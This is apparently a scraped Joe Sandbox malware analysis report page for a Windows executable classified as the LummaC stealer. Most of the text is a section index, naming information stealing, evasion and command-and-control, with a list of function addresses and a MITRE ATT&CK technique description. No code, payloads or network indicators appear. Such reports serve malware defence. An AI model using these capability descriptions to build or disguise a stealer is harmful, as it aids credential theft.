Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 6xmBUtHylU.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Network Port Distribution

Windows Analysis Report
6xmBUtHylU.exe

Function 0025E680 Relevance: 42.2, APIs: 6, Strings: 18, Instructions: 174
COMMON

Function 00250BD0 Relevance: 11.5, Strings: 9, Instructions: 288
COMMON

Function 0024E880 Relevance: 9.3, Strings: 7, Instructions: 548
COMMON

Function 0023F490 Relevance: 9.0, Strings: 7, Instructions: 264
COMMON

Function 00239C30 Relevance: 8.0, Strings: 6, Instructions: 470
COMMON

Function 00258C4B Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 477
COMMON

Function 00250FBC Relevance: 6.7, Strings: 5, Instructions: 456
COMMON

Function 0024709B Relevance: 5.8, Strings: 4, Instructions: 782
COMMON

Function 0023A310 Relevance: 119.7, APIs: 1, Strings: 67, Instructions: 709
libraryCOMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre